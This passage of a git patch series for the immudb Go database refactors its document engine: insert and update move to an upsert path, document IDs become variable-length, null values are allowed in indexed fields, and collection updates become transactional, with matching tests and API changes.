[]string, rows []*RowSpec, onConflict *OnConflictDo) *UpsertIntoStmt { +func NewUpserIntoStmt(table string, cols []string, rows []*RowSpec, isInsert bool, onConflict *OnConflictDo) *UpsertIntoStmt { return &UpsertIntoStmt{ - isInsert: true, + isInsert: isInsert, tableRef: newTableRef(table, ""), cols: cols, rows: rows, @@ -4025,11 +4025,11 @@ func (stmt *DropTableStmt) inferParameters(ctx context.Context, tx *SQLTx, param } /* - Exec executes the delete table statement. - It the table exists, if not it does nothing. - If the table exists, it deletes all the indexes and the table itself. - Note that this is a soft delete of the index and table key, - the data is not deleted, but the metadata is updated. +Exec executes the delete table statement. +It the table exists, if not it does nothing. +If the table exists, it deletes all the indexes and the table itself. +Note that this is a soft delete of the index and table key, +the data is not deleted, but the metadata is updated. */ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if !tx.catalog.ExistTable(stmt.table) { @@ -4078,9 +4078,9 @@ func (stmt *DropIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, param } /* - Exec executes the delete index statement. - If the index exists, it deletes it. Note that this is a soft delete of the index - the data is not deleted, but the metadata is updated. +Exec executes the delete index statement. +If the index exists, it deletes it. Note that this is a soft delete of the index +the data is not deleted, but the metadata is updated. */ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { if !tx.catalog.ExistTable(stmt.table) { diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 51a3cdae1c..f7b4c4321d 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1331,6 +1331,13 @@ func (s *ImmuStore) LastPrecommittedTxID() uint64 { return s.lastPrecommittedTxID() } +func (s *ImmuStore) MandatoryMVCCUpToTxID() uint64 { + s.commitStateRWMutex.RLock() + defer s.commitStateRWMutex.RUnlock() + + return s.mandatoryMVCCUpToTxID +} + func (s *ImmuStore) performPrecommit(tx *Tx, ts int64, blTxID uint64) error { s.commitStateRWMutex.Lock() defer s.commitStateRWMutex.Unlock() From 1662f9440fb90c15b0b145980e616a458d9723c7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 13:27:51 -0300 Subject: [PATCH 0418/1062] chore(embedded/document): raw document validation Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 45456850a1..5e8db3ab7d 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -32,6 +32,7 @@ const ( DocumentBLOBField = "_doc" ) +var ErrIllegalArguments = store.ErrIllegalArguments var ErrCollectionDoesNotExist = errors.New("collection does not exist") // Schema to ValueType mapping @@ -206,6 +207,10 @@ func (e *Engine) CreateCollection(ctx context.Context, collectionName string, id } func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (docID DocumentID, txID uint64, err error) { + if doc == nil { + return NilDocumentID, 0, ErrIllegalArguments + } + // check if document id is already present provisionedDocID, docIDProvisioned := doc.Fields[DocumentIDField] if docIDProvisioned { @@ -219,16 +224,17 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc doc.Fields[DocumentIDField] = structpb.NewStringValue(docID.Hex()) } - opts := sql.DefaultTxOptions(). - WithUnsafeMVCC(true). - WithSnapshotRenewalPeriod(0) - // concurrency validation are not needed when the document id is automatically generated + opts := sql.DefaultTxOptions() + if !docIDProvisioned { // wait for indexing to include latest catalog changes - opts.WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { - return e.sqlEngine.GetStore().MandatoryMVCCUpToTxID() - }) + opts. + WithUnsafeMVCC(!docIDProvisioned). + WithSnapshotRenewalPeriod(0). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { + return e.sqlEngine.GetStore().MandatoryMVCCUpToTxID() + }) } tx, err := e.sqlEngine.NewTx(ctx, opts) From 8d2263cd811b7c29d26c6bd6bf67781f467b5073 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 14:07:35 -0300 Subject: [PATCH 0419/1062] chore(embedded/document): transactional collection update Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 32 +++++++++++++++++--------------- 1 file changed, 17 insertions(+), 15 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 5e8db3ab7d..cf21c259c0 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -211,19 +211,15 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc return NilDocumentID, 0, ErrIllegalArguments } - // check if document id is already present - provisionedDocID, docIDProvisioned := doc.Fields[DocumentIDField] + _, docIDProvisioned := doc.Fields[DocumentIDField] if docIDProvisioned { - docID, err = DocumentIDFromHex(provisionedDocID.GetStringValue()) - if err != nil { - return NilDocumentID, 0, err - } - } else { - // generate document id - docID = NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) - doc.Fields[DocumentIDField] = structpb.NewStringValue(docID.Hex()) + return NilDocumentID, 0, fmt.Errorf("_id field is not allowed to be set") } + // generate document id + docID = NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) + doc.Fields[DocumentIDField] = structpb.NewStringValue(docID.Hex()) + // concurrency validation are not needed when the document id is automatically generated opts := sql.DefaultTxOptions() @@ -745,6 +741,12 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, ad indexKeys := make([]string, 0) updateCollectionStmts := make([]sql.SQLStmt, 0) + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExplicitClose(true)) + if err != nil { + return err + } + defer sqlTx.Cancel() + if len(addIdxKeys) > 0 { // add index keys for name, schType := range addIdxKeys { @@ -763,8 +765,8 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, ad } _, _, err := e.sqlEngine.ExecPreparedStmts( - context.Background(), - nil, + ctx, + sqlTx, updateCollectionStmts, nil, ) @@ -781,8 +783,8 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, ad } _, _, err := e.sqlEngine.ExecPreparedStmts( - context.Background(), - nil, + ctx, + sqlTx, deleteIdxStmts, nil, ) @@ -791,5 +793,5 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, ad } } - return nil + return sqlTx.Commit(ctx) } From f79bab3b9dd6e789e31f20bdf9ce85a4b015a14a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 14:36:19 -0300 Subject: [PATCH 0420/1062] chore(embedded/document): support null values in indexed attributes Signed-off-by: Jeronimo Irazabal --- embedded/document/document.go | 3 --- embedded/document/engine.go | 37 ++++++++++++++--------------------- 2 files changed, 15 insertions(+), 25 deletions(-) diff --git a/embedded/document/document.go b/embedded/document/document.go index ba2c3cd6de..f64e19300f 100644 --- a/embedded/document/document.go +++ b/embedded/document/document.go @@ -28,9 +28,6 @@ type Document struct { result gjson.Result } -// Documents is an array of documents -type Documents []*Document - // UnmarshalJSON satisfies the json Unmarshaler interface func (d *Document) UnmarshalJSON(bytes []byte) error { doc, err := NewDocumentFromBytes(bytes) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index cf21c259c0..1943e029b4 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -223,15 +223,13 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc // concurrency validation are not needed when the document id is automatically generated opts := sql.DefaultTxOptions() - if !docIDProvisioned { - // wait for indexing to include latest catalog changes - opts. - WithUnsafeMVCC(!docIDProvisioned). - WithSnapshotRenewalPeriod(0). - WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { - return e.sqlEngine.GetStore().MandatoryMVCCUpToTxID() - }) - } + // wait for indexing to include latest catalog changes + opts. + WithUnsafeMVCC(!docIDProvisioned). + WithSnapshotRenewalPeriod(0). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { + return e.sqlEngine.GetStore().MandatoryMVCCUpToTxID() + }) tx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { @@ -247,17 +245,12 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc return NilDocumentID, 0, err } - cols := make([]string, 0) - tcolumns := table.Cols() - rows := make([]*sql.RowSpec, 0) + var cols []string + var values []sql.ValueExp - for _, col := range tcolumns { + for _, col := range table.Cols() { cols = append(cols, col.Name()) - } - values := make([]sql.ValueExp, 0) - - for _, col := range tcolumns { switch col.Name() { case DocumentIDField: // add document id to document @@ -274,18 +267,18 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc values = append(values, sql.NewBlob(res)) default: if rval, ok := doc.Fields[col.Name()]; ok { - valType, err := valueTypeToExp(col.Type(), rval) + val, err := valueTypeToExp(col.Type(), rval) if err != nil { return NilDocumentID, 0, err } - values = append(values, valType) + values = append(values, val) + } else { + values = append(values, &sql.NullValue{}) } } } - if len(values) > 0 { - rows = append(rows, sql.NewRowSpec(values)) - } + rows := []*sql.RowSpec{sql.NewRowSpec(values)} // add document to collection _, ctxs, err := e.sqlEngine.ExecPreparedStmts( From 27515987cd8f1029ac731a4d135a7a0f8e082fc9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 20:00:39 -0300 Subject: [PATCH 0421/1062] chore(package/database): bunch of fixes and improvements in document engine Signed-off-by: Jeronimo Irazabal --- embedded/document/document_id.go | 79 +-- embedded/document/document_id_test.go | 6 +- embedded/document/engine.go | 167 +++-- embedded/document/engine_test.go | 22 +- embedded/sql/stmt.go | 4 +- pkg/api/documentschema/docs.md | 3 +- pkg/api/documentschema/documentschema.pb.go | 616 +++++++++--------- pkg/api/documentschema/documentschema.proto | 7 +- .../documentschema.swagger.json | 7 +- pkg/database/document_database.go | 41 +- pkg/database/document_database_test.go | 17 +- pkg/server/db_dummy_closed.go | 4 +- pkg/server/documents_operations.go | 2 +- pkg/verification/verification.go | 4 +- 14 files changed, 495 insertions(+), 484 deletions(-) diff --git a/embedded/document/document_id.go b/embedded/document/document_id.go index baaa28434a..cd232cdd55 100644 --- a/embedded/document/document_id.go +++ b/embedded/document/document_id.go @@ -19,7 +19,6 @@ import ( "crypto/rand" "encoding/binary" "encoding/hex" - "errors" "fmt" "io" "sync/atomic" @@ -28,7 +27,7 @@ import ( /* DocumentID is a 16-byte identifier that is automatically generated - by the server upon document insertion. The 16-byte DocumentID is composed of: + by the server upon document insertion if not provided. The 16-byte DocumentID is composed of: 1) A 4-byte timestamp value, representing the time the document was created, measured in seconds since the Unix epoch. @@ -41,14 +40,13 @@ import ( are inserted in the same second. The 4-byte value ensures randomness. */ -// DocumentIDLength is the length of a DocumentID. -const DocumentIDLength = 16 +// GeneratedDocIDLength is the length of a DocumentID. +const GeneratedDocIDLength = 16 -// DocumentID is a 16-byte identifier that is automatically generated by the server upon document insertion. -type DocumentID [DocumentIDLength]byte +const MaxDocumentIDLength = 32 -// NilDocumentID is the zero value for DocumentID. -var NilDocumentID DocumentID +// DocumentID is an identifier that is automatically generated by the server upon document insertion if not provided. +type DocumentID []byte // documentIDCounter is a counter used to generate unique monotically incremental number for the document id. var documentIDCounter = getRandUint32() @@ -58,17 +56,9 @@ func NewDocumentIDFromTx(txID uint64) DocumentID { return NewDocumentIDFromTimestamp(time.Now(), txID) } -// NewDocumentIDFromBytes generates a new DocumentID from a byte slice. -func NewDocumentIDFromBytes(b []byte) DocumentID { - // copy from bytes to DocumentID - var id DocumentID - copy(id[:], b) - return id -} - // NewDocumentIDFromTimestamp generates a new DocumentID from a timestamp. func NewDocumentIDFromTimestamp(timestamp time.Time, txID uint64) DocumentID { - var b [DocumentIDLength]byte + var b [GeneratedDocIDLength]byte // The first 4 bytes are the timestamp. binary.BigEndian.PutUint32(b[0:4], uint32(timestamp.Unix())) @@ -80,43 +70,56 @@ func NewDocumentIDFromTimestamp(timestamp time.Time, txID uint64) DocumentID { counter := atomic.AddUint32(&documentIDCounter, 1) binary.BigEndian.PutUint32(b[12:16], counter) - return b + return b[:] } -// Timestamp returns the timestamp portion of the DocumentID. -func (id DocumentID) Timestamp() time.Time { - unixSecs := binary.BigEndian.Uint32(id[:]) - return time.Unix(int64(unixSecs), 0).UTC() -} +// NewDocumentIDFromRawBytes generates a new DocumentID from a byte slice. +func NewDocumentIDFromRawBytes(b []byte) (DocumentID, error) { + if len(b) == 0 { + return nil, ErrIllegalArguments + } + if len(b) > MaxDocumentIDLength { + return nil, ErrMaxLengthExceeded + } -// Hex returns the hex representation of the DocumentID. -func (id DocumentID) Hex() string { - var buf [32]byte - hex.Encode(buf[:], id[:]) - return string(buf[:]) + id := make([]byte, len(b)) + copy(id, b) + + return id, nil } -// DocumentIDFromHex returns a DocumentID from a hex string. -func DocumentIDFromHex(s string) (DocumentID, error) { - if len(s) != 32 { - return NilDocumentID, errors.New("invalid hex length for DocumentID") - } +// NewDocumentIDFromHexEncodedString returns a DocumentID from a hex string. +func NewDocumentIDFromHexEncodedString(hexEncodedDocID string) (DocumentID, error) { + decodedLen := hex.DecodedLen(len(hexEncodedDocID)) - var oid [DocumentIDLength]byte - _, err := hex.Decode(oid[:], []byte(s)) + buf := make([]byte, decodedLen) + + _, err := hex.Decode(buf, []byte(hexEncodedDocID)) if err != nil { - return NilDocumentID, err + return nil, err } - return oid, nil + return NewDocumentIDFromRawBytes(buf) } func getRandUint32() uint32 { var b [4]byte + _, err := io.ReadFull(rand.Reader, b[:]) if err != nil { panic(fmt.Errorf("cannot initialize document id rand reader: %v", err)) } - return binary.BigEndian.Uint32(b[0:4]) + return binary.BigEndian.Uint32(b[:]) +} + +// EncodeToHexString returns the hex representation of the DocumentID. +func (id DocumentID) EncodeToHexString() string { + return hex.EncodeToString(id) +} + +// Timestamp returns the timestamp portion of the DocumentID. +func (id DocumentID) Timestamp() time.Time { + unixSecs := binary.BigEndian.Uint32(id[:]) + return time.Unix(int64(unixSecs), 0).UTC() } diff --git a/embedded/document/document_id_test.go b/embedded/document/document_id_test.go index 2581ed935c..388d241763 100644 --- a/embedded/document/document_id_test.go +++ b/embedded/document/document_id_test.go @@ -55,7 +55,7 @@ func TestDocumentID_WithTimestamp(t *testing.T) { require.NoError(t, err) id := NewDocumentIDFromTimestamp(time, 0) - fmt.Println(test.time, id.Hex()) + fmt.Println(test.time, id.EncodeToHexString()) timeStr := hex.EncodeToString(id[0:4]) require.Equal(t, test.expectedTimeHex, timeStr) @@ -86,7 +86,7 @@ func TestDocumentID_FromDocumentHex(t *testing.T) { } for _, test := range tests { - id, err := DocumentIDFromHex(test.hex) + id, err := NewDocumentIDFromHexEncodedString(test.hex) require.NoError(t, err) genTime := id.Timestamp() @@ -107,6 +107,6 @@ func TestDocumentID_IncrementalCounter(t *testing.T) { func BenchmarkHex(b *testing.B) { id := NewDocumentIDFromTx(0) for i := 0; i < b.N; i++ { - id.Hex() + id.EncodeToHexString() } } diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 1943e029b4..b86815da18 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -34,6 +34,7 @@ const ( var ErrIllegalArguments = store.ErrIllegalArguments var ErrCollectionDoesNotExist = errors.New("collection does not exist") +var ErrMaxLengthExceeded = errors.New("max length exceeded") // Schema to ValueType mapping var ( @@ -108,13 +109,16 @@ var ( } // transform value type based on column name - transformTypedValue = func(colName string, value sql.TypedValue) sql.TypedValue { + transformTypedValue = func(colName string, value sql.TypedValue) (sql.TypedValue, error) { switch colName { case DocumentIDField: - docID := NewDocumentIDFromBytes(value.RawValue().([]byte)) - return sql.NewVarchar(docID.Hex()) + docID, err := NewDocumentIDFromRawBytes(value.RawValue().([]byte)) + if err != nil { + return nil, err + } + return sql.NewVarchar(docID.EncodeToHexString()), nil } - return value + return value, nil } ) @@ -149,7 +153,7 @@ func (e *Engine) CreateCollection(ctx context.Context, collectionName string, id columns := make([]*sql.ColSpec, 0) // add primary key for document id - columns = append(columns, sql.NewColSpec(DocumentIDField, sql.BLOBType, 16, false, true)) + columns = append(columns, sql.NewColSpec(DocumentIDField, sql.BLOBType, MaxDocumentIDLength, false, true)) // add columnn for blob, which stores the document as a whole columns = append(columns, sql.NewColSpec(DocumentBLOBField, sql.BLOBType, 0, false, false)) @@ -206,43 +210,62 @@ func (e *Engine) CreateCollection(ctx context.Context, collectionName string, id return tx.Commit(ctx) } -func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (docID DocumentID, txID uint64, err error) { +func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (docID DocumentID, txID uint64, err error) { + docID, txID, _, err = e.upsertDocument(ctx, collectionName, doc, true) + return +} + +func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (txID, rev uint64, err error) { + _, txID, rev, err = e.upsertDocument(ctx, collectionName, doc, false) + return +} + +func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct, isInsert bool) (docID DocumentID, txID, rev uint64, err error) { if doc == nil { - return NilDocumentID, 0, ErrIllegalArguments + return nil, 0, 0, ErrIllegalArguments } - _, docIDProvisioned := doc.Fields[DocumentIDField] + provisionedDocID, docIDProvisioned := doc.Fields[DocumentIDField] if docIDProvisioned { - return NilDocumentID, 0, fmt.Errorf("_id field is not allowed to be set") - } + docID, err = NewDocumentIDFromHexEncodedString(provisionedDocID.GetStringValue()) + if err != nil { + return nil, 0, 0, err + } + } else { + if !isInsert { + return nil, 0, 0, fmt.Errorf("_id field is required when updating a document") + } - // generate document id - docID = NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) - doc.Fields[DocumentIDField] = structpb.NewStringValue(docID.Hex()) + // generate document id + docID = NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) + doc.Fields[DocumentIDField] = structpb.NewStringValue(docID.EncodeToHexString()) + } // concurrency validation are not needed when the document id is automatically generated opts := sql.DefaultTxOptions() - // wait for indexing to include latest catalog changes - opts. - WithUnsafeMVCC(!docIDProvisioned). - WithSnapshotRenewalPeriod(0). - WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { - return e.sqlEngine.GetStore().MandatoryMVCCUpToTxID() - }) + if !docIDProvisioned { + // wait for indexing to include latest catalog changes + opts. + WithUnsafeMVCC(!docIDProvisioned). + WithSnapshotRenewalPeriod(0). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { + return e.sqlEngine.GetStore().MandatoryMVCCUpToTxID() + }) + } tx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { - return NilDocumentID, 0, err + return nil, 0, 0, err } defer tx.Cancel() table, err := tx.Catalog().GetTableByName(collectionName) if err != nil { if errors.Is(err, sql.ErrTableDoesNotExist) { - return NilDocumentID, 0, ErrCollectionDoesNotExist + return nil, 0, 0, ErrCollectionDoesNotExist } - return NilDocumentID, 0, err + return nil, 0, 0, err } var cols []string @@ -258,18 +281,18 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc case DocumentBLOBField: document, err := NewDocumentFrom(doc) if err != nil { - return NilDocumentID, 0, err + return nil, 0, 0, err } res, err := document.MarshalJSON() if err != nil { - return NilDocumentID, 0, err + return nil, 0, 0, err } values = append(values, sql.NewBlob(res)) default: if rval, ok := doc.Fields[col.Name()]; ok { val, err := valueTypeToExp(col.Type(), rval) if err != nil { - return NilDocumentID, 0, err + return nil, 0, 0, err } values = append(values, val) } else { @@ -289,17 +312,38 @@ func (e *Engine) CreateDocument(ctx context.Context, collectionName string, doc collectionName, cols, rows, - true, + isInsert, nil, ), }, nil, ) if err != nil { - return NilDocumentID, 0, err + return nil, 0, 0, err + } + + txID = ctxs[0].TxHeader().ID + + if !isInsert { + searchKey, err := e.getKeyForDocument(ctx, tx, collectionName, docID) + if err != nil { + return nil, 0, 0, err + } + + err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, txID) + if err != nil { + return docID, txID, 0, nil + } + + auditLog, err := e.getValueAt(searchKey, 0, false, 0) + if err != nil { + return nil, 0, 0, err + } + + rev = auditLog.Revision } - return docID, ctxs[0].TxHeader().ID, nil + return docID, txID, rev, nil } func (e *Engine) ListCollections(ctx context.Context) (map[string][]*sql.Index, error) { @@ -447,11 +491,17 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie switch colName { case DocumentIDField, DocumentBLOBField: tv := row.ValuesByPosition[i] - transformedTV := transformTypedValue(colName, tv) + + transformedTV, err := transformTypedValue(colName, tv) + if err != nil { + return nil, err + } + vtype, err := valueTypeToFieldValue(transformedTV) if err != nil { return nil, err } + document.Fields[colName] = vtype } } @@ -622,63 +672,6 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } -func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, docID DocumentID, doc *structpb.Struct) (txID, rev uint64, err error) { - document, err := NewDocumentFrom(doc) - if err != nil { - return 0, 0, err - } - - res, err := document.MarshalJSON() - if err != nil { - return 0, 0, err - } - - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) - if err != nil { - return 0, 0, err - } - defer tx.Cancel() - - // update document in collection - _, ctxs, err := e.sqlEngine.ExecPreparedStmts( - ctx, - tx, - []sql.SQLStmt{ - sql.NewUpdateStmt( - collectionName, - sql.NewCmpBoolExp( - sql.EQ, - sql.NewColSelector(collectionName, DocumentIDField, ""), - sql.NewBlob(docID[:]), - ), - sql.NewColUpdate(DocumentBLOBField, sql.EQ, sql.NewBlob(res))), - }, - nil, - ) - if err != nil { - return 0, 0, err - } - - committedTx := ctxs[0] - - err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, committedTx.TxHeader().ID) - if err != nil { - return 0, 0, err - } - - searchKey, err := e.getKeyForDocument(ctx, tx, collectionName, docID) - if err != nil { - return 0, 0, err - } - - auditLog, err := e.getValueAt(searchKey, 0, false, 0) - if err != nil { - return 0, 0, err - } - - return committedTx.TxHeader().ID, auditLog.Revision, nil -} - func (e *Engine) GetDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, docAudit *Audit, err error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 387383fcc5..b30b1c30e6 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -165,7 +165,7 @@ func TestGetDocument(t *testing.T) { require.NoError(t, err) // add document to collection - _, _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: 2}, @@ -226,7 +226,7 @@ func TestDocumentAudit(t *testing.T) { require.NoError(t, err) // add document to collection - docID, _, err := engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + docID, _, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: 2}, @@ -245,8 +245,11 @@ func TestDocumentAudit(t *testing.T) { }) require.NoError(t, err) - _, revision, err := engine.UpdateDocument(context.Background(), collectionName, docID, &structpb.Struct{ + _, revision, err := engine.UpdateDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ + "_id": { + Kind: &structpb.Value_StringValue{StringValue: docID.EncodeToHexString()}, + }, "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: 2}, }, @@ -294,7 +297,7 @@ func TestQueryDocument(t *testing.T) { // add documents to collection for i := 1.0; i <= 10; i++ { - _, _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: i}, @@ -473,7 +476,7 @@ func TestDocumentUpdate(t *testing.T) { require.NoError(t, err) // add document to collection - docID, _, err := engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + docID, _, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": { Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, @@ -489,8 +492,11 @@ func TestDocumentUpdate(t *testing.T) { }) require.NoError(t, err) - _, revision, err := engine.UpdateDocument(context.Background(), collectionName, docID, &structpb.Struct{ + _, revision, err := engine.UpdateDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ + "_id": { + Kind: &structpb.Value_StringValue{StringValue: docID.EncodeToHexString()}, + }, "country": { Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, }, @@ -554,7 +560,7 @@ func TestFloatSupport(t *testing.T) { require.Equal(t, sql.Float64Type, col.Type()) // add document to collection - _, _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": { Kind: &structpb.Value_NumberValue{NumberValue: 3.1}, @@ -600,7 +606,7 @@ func TestDeleteCollection(t *testing.T) { // add documents to collection for i := 1.0; i <= 10; i++ { - _, _, err = engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "idx": { Kind: &structpb.Value_NumberValue{NumberValue: i}, diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 07f604593a..4841ab977b 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -994,10 +994,10 @@ type UpdateStmt struct { offset ValueExp } -func NewColUpdate(col string, op CmpOperator, val ValueExp) *colUpdate { +func NewColUpdate(col string, val ValueExp) *colUpdate { return &colUpdate{ col: col, - op: op, + op: EQ, val: val, } } diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 61d78aa3a3..39a5a99b4a 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -437,7 +437,6 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| documentId | [string](#string) | | | | document | [google.protobuf.Struct](#google.protobuf.Struct) | | | @@ -453,8 +452,8 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| revision | [uint64](#uint64) | | | | transactionId | [uint64](#uint64) | | | +| revision | [uint64](#uint64) | | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 11a53a24c6..7b4c614bc7 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -265,8 +265,7 @@ type DocumentUpdateRequest struct { unknownFields protoimpl.UnknownFields Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` - Document *_struct.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` + Document *_struct.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentUpdateRequest) Reset() { @@ -308,13 +307,6 @@ func (x *DocumentUpdateRequest) GetCollection() string { return "" } -func (x *DocumentUpdateRequest) GetDocumentId() string { - if x != nil { - return x.DocumentId - } - return "" -} - func (x *DocumentUpdateRequest) GetDocument() *_struct.Struct { if x != nil { return x.Document @@ -327,8 +319,8 @@ type DocumentUpdateResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Revision uint64 `protobuf:"varint,1,opt,name=revision,proto3" json:"revision,omitempty"` - TransactionId uint64 `protobuf:"varint,2,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` } func (x *DocumentUpdateResponse) Reset() { @@ -363,16 +355,16 @@ func (*DocumentUpdateResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{3} } -func (x *DocumentUpdateResponse) GetRevision() uint64 { +func (x *DocumentUpdateResponse) GetTransactionId() uint64 { if x != nil { - return x.Revision + return x.TransactionId } return 0 } -func (x *DocumentUpdateResponse) GetTransactionId() uint64 { +func (x *DocumentUpdateResponse) GetRevision() uint64 { if x != nil { - return x.TransactionId + return x.Revision } return 0 } @@ -1634,320 +1626,318 @@ var file_documentschema_proto_rawDesc = []byte{ 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x22, 0x8c, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 